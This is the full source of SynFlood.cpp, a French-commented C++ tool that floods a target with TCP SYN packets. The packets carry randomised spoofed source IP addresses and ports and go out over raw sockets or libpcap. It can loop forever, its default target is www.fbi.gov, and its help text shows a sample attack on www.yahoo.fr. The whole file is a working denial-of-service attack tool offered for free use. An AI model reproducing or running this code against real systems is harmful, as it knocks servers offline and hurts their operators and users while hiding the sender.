|
//
********************************************
// Nom : SynFlood.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 23 Juillet 2003
// version : 2.3.3.10
// Licence : Cette executable est libre de toute utilisation.
// La seule condition existante est de faire référence
// au site http://www.frameip.com afin de respecter le travail
d'autrui.
// ********************************************
// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"
// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command
Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap/NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")
// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void initiation_des_variables_automatiques(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);
// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac; // Entête
Ethernet
struct ipv4 entete_ipv4; // Entete IP
struct tcp entete_tcp; // Entete
TCP
char data_a_envoyer[65535]; // Data
unsigned int taille_de_data; // Longueur du char *, je
n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // Entete IP +
data + entete ethernet si send_mode=1
unsigned short taille_de_la_trame_a_envoyer=0; // Permet
d'éviter un sizeof qui s'arrête au premier 0 trouvé
int nombre_de_caractere_emis; // Variable
récupérant le nombre de caractères émis
unsigned long loops;
// Compteur permettant de lancer x fois les trames
char ip_source_initiale[16]; // Adresse IP Source
permettant d'initier entete_ipv4.ip_source
char ip_destination_initiale[16]; // Adresse IP Destination
permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie; // Variable
permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire; // Acive ou
désactive le mode IP Source Aléatoire
bool port_source_aleatoire; // Acive ou
désactive le mode Port Source Aléatoire
unsigned int choix_mode_d_envoi;
// Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface;
// Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure
possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon;
// Adresse MAC
bool mac_destination_auto;
// Variable permettant de savoir si l'adresse MAC de destination doit
être résolu en ARP
bool mac_source_auto;
// Variable permettant de savoir si l'adresse MAC source doit être prise
à partir de l'interface
bool view;
// Variable indiquant si on doit afficher les resultats
WSADATA initialisation_win32;
SOCKADDR_IN information_sur_la_destination;
SOCKET id_de_la_socket;
int
on=1;
// Permet de paramétrer la fonction SetSockOpt
pcap_t *pointeur_interface; // Pointeur de
l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE];
int main (int argc, char* argv[])
{
initiation_des_variables();
gestion_des_arguments(argc,argv);
initiation_des_variables_automatiques();
// ********************************************************
// Initialisation de la Socket et de l'interface
// ********************************************************
if (choix_mode_d_envoi==0)
{
//
********************************************************
// Initialisation de la Socket
//
********************************************************
if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
gestion_des_erreurs(1,"WSAStartup",1,1);
//
********************************************************
// Ouverture d'une Socket
//
********************************************************
id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (id_de_la_socket==INVALID_SOCKET)
gestion_des_erreurs(1,"socket",1,1);
//
********************************************************
// Activation de l'option permettant d'inclure
l'entete IP lors de l'emission
//
********************************************************
if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char
*)&on,sizeof(on))!=0)
gestion_des_erreurs(1,"setsockopt",1,1);
}
else
{
//
********************************************************
// Accède à l'interface
//
********************************************************
if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
gestion_des_erreurs(1,"pcap_open_live",1,1);
}
// ********************************************************
// Boucle d'envoi
// ********************************************************
while ( (loops!=0)||(bouclage_infinie==TRUE) )
{
//
********************************************************
// Décrémentation de la boucle
//
********************************************************
loops--;
//
********************************************************
// Changement aléatoire des champs
//
********************************************************
Changement_aleatoire_des_valeurs();
//
********************************************************
// Envoi de la trame
//
********************************************************
if (choix_mode_d_envoi==0)
envoi_de_la_trame_winsock();
else
envoi_de_la_trame_pcap();
//
********************************************************
// Affichage du résultat
//
********************************************************
if (view==true)
affichage_du_resultat();
}
// ********************************************************
// Fermeture de la socket et de l'interface
// ********************************************************
if (choix_mode_d_envoi==0)
{
//
********************************************************
// Fermeture de la socket correspondant à la
commande socket()
//
********************************************************
closesocket(id_de_la_socket);
//
********************************************************
// quite propement le winsock ouvert avec la
commande WSAStartup
//
********************************************************
WSACleanup(); // (A appeller autant de fois
qu'il a été ouvert)
}
else
{
//
********************************************************
// Fermeture de l'accès à l'interface
//
********************************************************
pcap_close(pointeur_interface);
}
printf("\n\n");
return(1);
}
void initiation_des_variables(void)
{
unsigned i;
// ********************************************************
// Initiation diverse
// ********************************************************
srand(GetTickCount()); //
Initialise le Random
// ********************************************************
// Affichage de la banniere
// ********************************************************
printf("\nSynFlood - Send SYN TCP with spoofing IP Source -
Version 2.3.3.10");
printf("\nCreate on July 23, 2003, Last compilation on
August 26, 2006");
printf("\nCreated by sebastien.fontaine@frameip.com.pas.de.spam");
printf("\n");
// ********************************************************
// Initiation des arguments
// ********************************************************
strcpy(ip_destination_initiale,"www.fbi.gov");
port_source_aleatoire=TRUE;
ip_source_aleatoire=TRUE;
loops=1;
bouclage_infinie=FALSE;
choix_mode_d_envoi=1;
numero_de_l_interface=0;
liste_des_interfaces=recuperation_des_interfaces();
view=true;
// ********************************************************
// Options de l'entête MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac( liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
{
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
entete_mac.destination[i]=255;
}
mac_source_auto=true;
mac_destination_auto=false;
entete_mac.type=htons(2048); // 08 00 indiquant un
datagramme IP
// ********************************************************
// Initialisation de l'entete Ip
// ********************************************************
entete_ipv4.ihl=5;
entete_ipv4.version=4;
entete_ipv4.tos=0;
entete_ipv4.length=0;
entete_ipv4.id=0;
// Il est initialisé plutard
entete_ipv4.offset=0;
entete_ipv4.ttl=100;
entete_ipv4.type=6;
entete_ipv4.ip_source=0; //
Il est initialisé plutard
// ********************************************************
// Initialisation de l'entete TCP
// ********************************************************
entete_tcp.port_source=0; // Il
est initialisé plutard
entete_tcp.port_destination=htons(80);
entete_tcp.sequence=0;
// Il est initialisé plutard
entete_tcp.accuse=0;
entete_tcp.reserved=0;
entete_tcp.offset=5; // taille de l'entête Tcp
entete_tcp.flag_fin=0;
entete_tcp.flag_syn=1;
entete_tcp.flag_rst=0;
entete_tcp.flag_psh=0;
entete_tcp.flag_ack=0;
entete_tcp.flag_urg=0;
entete_tcp.reserved2=0;
entete_tcp.window=htons(16384); // Valeur
relevée dans un Netmon après un "Telnet IP port"
entete_tcp.checksum=0;
entete_tcp.pointeur=0;
// ********************************************************
// Initialisation des data
// ********************************************************
strcpy(data_a_envoyer,"www.frameip.com");
taille_de_data=(unsigned int)strlen(data_a_envoyer);
}
void gestion_des_arguments(int argc,char* argv[])
{
char *caractere_non_convertit;
int i,j;
bool ip_destination_modofie=false;
unsigned int tampon; // pour le redimentionnement de la data
// ********************************************************
// Affichage de l'aide
// ********************************************************
if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
{
printf("\n");
printf("\nGENERAL OPTIONS");
printf("\n-? This help");
printf("\n-send_mode 0=Soket 1=Libpcap
Defaut: %d",choix_mode_d_envoi);
printf("\n-loops Number of loops
Default value: %d (0 to no stop)",loops);
printf("\n-view Show the
answers Default value: %d",view);
printf("\n\nFREE INTERFACES");
for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
printf("\n%d -
%s",i,liste_des_interfaces.description[i]);
printf("\n-interface Interface
choice Defaut: %d",numero_de_l_interface);
printf("\n\nETHERNET HEADER OPTIONS (-send_mode
1)");
printf("\n-mac_source @
Ethernet Defaut:
%.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2],entete_mac.source[3], entete_mac.source[4],entete_mac.source[5]);
printf("\n-mac_source_auto Between 0 or
1 Defaut: %d (1 => MAC from interface)",mac_source_auto);
printf("\n-mac_destination @
Ethernet Defaut:
%.2X-%.2X-%.2X-%.2X-%.2X-%.2X", entete_mac.destination[0],entete_mac.destination[2],entete_mac.destination[2], entete_mac.destination[3],entete_mac.destination[4], entete_mac.destination[5]);
printf("\n-mac_destination_auto Between 0 or
1 Defaut: %d (1 => MAC from @IP)",mac_destination_auto);
printf("\n-mac_type Between 0 &
65535 Defaut: %d",htons(entete_mac.type));
printf("\n\nIP HEADER OPTIONS (-mac_type
2048)");
printf("\n-ip_source @IP
source Default: %d (0 to randomize)",entete_ipv4.ip_source);
printf("\n-ip_destination @IP
destination Default: %s",ip_destination_initiale);
printf("\n\nTCP HEADER OPTIONS (-ip_type 6)");
printf("\n-tcp_port_source Between 0 &
65535 Default: %d (0 to randomize)",entete_tcp.port_source);
printf("\n-tcp_port_destination Between 0 &
65535 Default: %d",htons(entete_tcp.port_destination));
printf("\n\nOPTIONS OF THE DATA LAYER");
printf("\n-data_size size of
data Default: %d",taille_de_data);
printf("\n\nSAMPLE");
printf("\nsynflood.exe -interface 2
-ip_destination www.yahoo.fr -loops 100");
printf("\n\n");
exit(0);
}
// ********************************************************
// Récupération des arguments
// ********************************************************
for (i=1;i<argc;i=i+1)
{
//
********************************************************
// Choix généraux
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-loops")==0) ||
(strcmp(strlwr(argv[i]),"/loops")==0) )
{
loops=(unsigned
long)strtod(argv[i+1],&caractere_non_convertit);
if (loops==0)
bouclage_infinie=TRUE;
else
bouclage_infinie=FALSE;
}
if ( (strcmp(strlwr(argv[i]),"-send_mode")==0)
|| (strcmp(strlwr(argv[i]),"/send_mode")==0) )
{
choix_mode_d_envoi=(unsigned
char)strtod(argv[i+1],&caractere_non_convertit);
if (choix_mode_d_envoi!=1)
choix_mode_d_envoi=0;
}
if ( (strcmp(strlwr(argv[i]),"-view")==0) ||
(strcmp(strlwr(argv[i]),"/view")==0) )
view=(bool)strtod(argv[i+1],&caractere_non_convertit);
//
********************************************************
// Choix de l'interface
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-interface")==0)
|| (strcmp(strlwr(argv[i]),"/interface")==0) )
numero_de_l_interface=(unsigned
char)strtod(argv[i+1],&caractere_non_convertit);
//
********************************************************
// Options de l'entête MAC
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-mac_source")==0)
|| (strcmp(strlwr(argv[i]),"/mac_source")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
entete_mac.source[j]=adresse_mac_tampon.adresse[j];
}
if (
(strcmp(strlwr(argv[i]),"-mac_source_auto")==0) ||
(strcmp(strlwr(argv[i]),"/mac_source_auto")==0) )
if ((unsigned
char)strtod(argv[i+1],&caractere_non_convertit)==1)
mac_source_auto=true;
else
mac_source_auto=false;
if (
(strcmp(strlwr(argv[i]),"-mac_destination")==0) ||
(strcmp(strlwr(argv[i]),"/mac_destination")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
entete_mac.destination[j]=adresse_mac_tampon.adresse[j];
}
if (
(strcmp(strlwr(argv[i]),"-mac_destination_auto")==0) ||
(strcmp(strlwr(argv[i]),"/mac_destination_auto")==0) )
if ((unsigned
char)strtod(argv[i+1],&caractere_non_convertit)==1)
mac_destination_auto=true;
else
mac_destination_auto=false;
if ( (strcmp(strlwr(argv[i]),"-mac_type")==0) ||
(strcmp(strlwr(argv[i]),"/mac_type")==0) )
entete_mac.type=htons((unsigned
short)strtod(argv[i+1],&caractere_non_convertit));
//
********************************************************
// Options de l'entête IP
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-ip_source")==0)
|| (strcmp(strlwr(argv[i]),"/ip_source")==0) )
if (argv[i+1]==0)
ip_source_aleatoire=TRUE;
else
{
ip_source_aleatoire=FALSE;
entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
}
if (
(strcmp(strlwr(argv[i]),"-ip_destination")==0) ||
(strcmp(strlwr(argv[i]),"/ip_destination")==0) )
{
entete_ipv4.ip_destination=(unsigned
long)resolution_de_nom(FALSE,argv[i+1]);
ip_destination_modofie=true;
}
//
********************************************************
// Options de l'entête TCP
//
********************************************************
if (
(strcmp(strlwr(argv[i]),"-tcp_port_source")==0) ||
(strcmp(strlwr(argv[i]),"/tcp_port_source")==0) )
if (argv[i+1]==0)
port_source_aleatoire=TRUE;
else
{
port_source_aleatoire=FALSE;
entete_tcp.port_source=htons((unsigned
short)strtod(argv[i+1],&caractere_non_convertit));
}
if (
(strcmp(strlwr(argv[i]),"-tcp_port_destination")==0) ||
(strcmp(strlwr(argv[i]),"/tcp_port_destination")==0) )
entete_tcp.port_destination= htons((unsigned
short) strtod(argv[i+1],&caractere_non_convertit));
//
********************************************************
// Options de la couche DATA
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-data_size")==0)
|| (strcmp(strlwr(argv[i]),"/data_size")==0) )
{
tampon=(unsigned
int)strtod(argv[i+1],&caractere_non_convertit);
memcpy(data_a_envoyer, dimensionnement_de_data_a_envoyer(false,data_a_envoyer, taille_de_data,tampon),tampon);
taille_de_data=tampon;
}
}
// ********************************************************
// Résoud le nom spécifié en initialisation
// ********************************************************
// Fait ici pour éviter de le résoudre si l'utilisateur
spécifi une IP
if (ip_destination_modofie==false)
entete_ipv4.ip_destination=(unsigned
long)resolution_de_nom(FALSE,ip_destination_initiale);
}
void Changement_aleatoire_des_valeurs()
{
// ********************************************************
// Random de l'IP Source
// ********************************************************
if (ip_source_aleatoire==TRUE)
entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);
// ********************************************************
// Random de l'ID IP
// ********************************************************
entete_ipv4.id=(unsigned
short)(rand()%65536);
// Tire entre 0 et 65535
// ********************************************************
// Random du Port Source
// ************************************************* *******
if (port_source_aleatoire==TRUE)
entete_tcp.port_source=(unsigned
short)(rand()%64511+1+1024); // Tire entre 1025 et 65535
// ********************************************************
// Random de la séquence TCP
// ********************************************************
entete_tcp.sequence=(unsigned
long)((rand()%65536)*(rand()%65536)); // Tire entre 0
et 4294967295
}
void initiation_des_variables_automatiques(void)
{
unsigned int
i;
// Pour les boucles for
// ********************************************************
// Préparation des adresses MAC
// ********************************************************
if (mac_source_auto==true)
{
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
}
if (mac_destination_auto==true)
{
adresse_mac_tampon=resolution_arp( liste_des_interfaces.nom[numero_de_l_interface], 0,ip_destination_initiale,3);
for (i=0;i<6;i++)
entete_mac.destination[i]=adresse_mac_tampon.adresse[i];
}
}
void envoi_de_la_trame_winsock(void)
{
// ********************************************************
// Calcul du checksum TCP
// ********************************************************
entete_tcp.checksum=calcul_du_checksum_tcp(false,entete_ipv4.ip_source,entete_ipv4.ip_destination, entete_tcp,data_a_envoyer,taille_de_data);
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short
*)&entete_ipv4, sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct ipv4), (unsigned short
*)&entete_tcp,sizeof(struct tcp));
memcpy(trame_a_envoyer+sizeof(struct ipv4)+ sizeof(struct
tcp),data_a_envoyer,taille_de_data);
// ********************************************************
// Paramètre nécessaire au sendto
// ********************************************************
information_sur_la_destination.sin_family=AF_INET;
information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;
// ********************************************************
// Envoi de la trame en winsock
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct
ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
nombre_de_caractere_emis=sendto(id_de_la_socket,(char
*)trame_a_envoyer, taille_de_la_trame_a_envoyer,0, (struct
sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
if (nombre_de_caractere_emis==-1)
gestion_des_erreurs(1,"sendto",1,1);
}
void envoi_de_la_trame_pcap(void)
{
// ********************************************************
// Calcul du checksum TCP
// ********************************************************
entete_tcp.checksum=calcul_du_checksum_tcp(FALSE,entete_ipv4.ip_source, entete_ipv4.ip_destination,entete_tcp, data_a_envoyer,taille_de_data);
// ********************************************************
// Calcul de la longueur totale
// ********************************************************
entete_ipv4.length=htons((unsigned short)(sizeof(struct
ipv4)+sizeof(struct tcp)+taille_de_data));
// ********************************************************
// Calcul du checksum IP
// ********************************************************
entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short
*)&entete_mac,sizeof(struct mac));
memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short
*)&entete_ipv4,sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct
ipv4),(unsigned short *)&entete_tcp,sizeof(struct tcp));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct
ipv4)+sizeof(struct tcp),data_a_envoyer,taille_de_data);
// ********************************************************
// Envoi de la trame
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct
mac)+sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned
short)taille_de_data;
if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
gestion_des_erreurs(1,"pcap_sendpacket",1,1);
}
void affichage_du_resultat()
{
struct in_addr convertion_inet_addr;
// ********************************************************
// Affichage du resultat
// ********************************************************
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
printf("\nThe SYN TCP was sent from
%s:%d",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_source));
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
printf(" to %s:%d - %d
Bytes",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_destination),taille_de_la_trame_a_envoyer);
} |
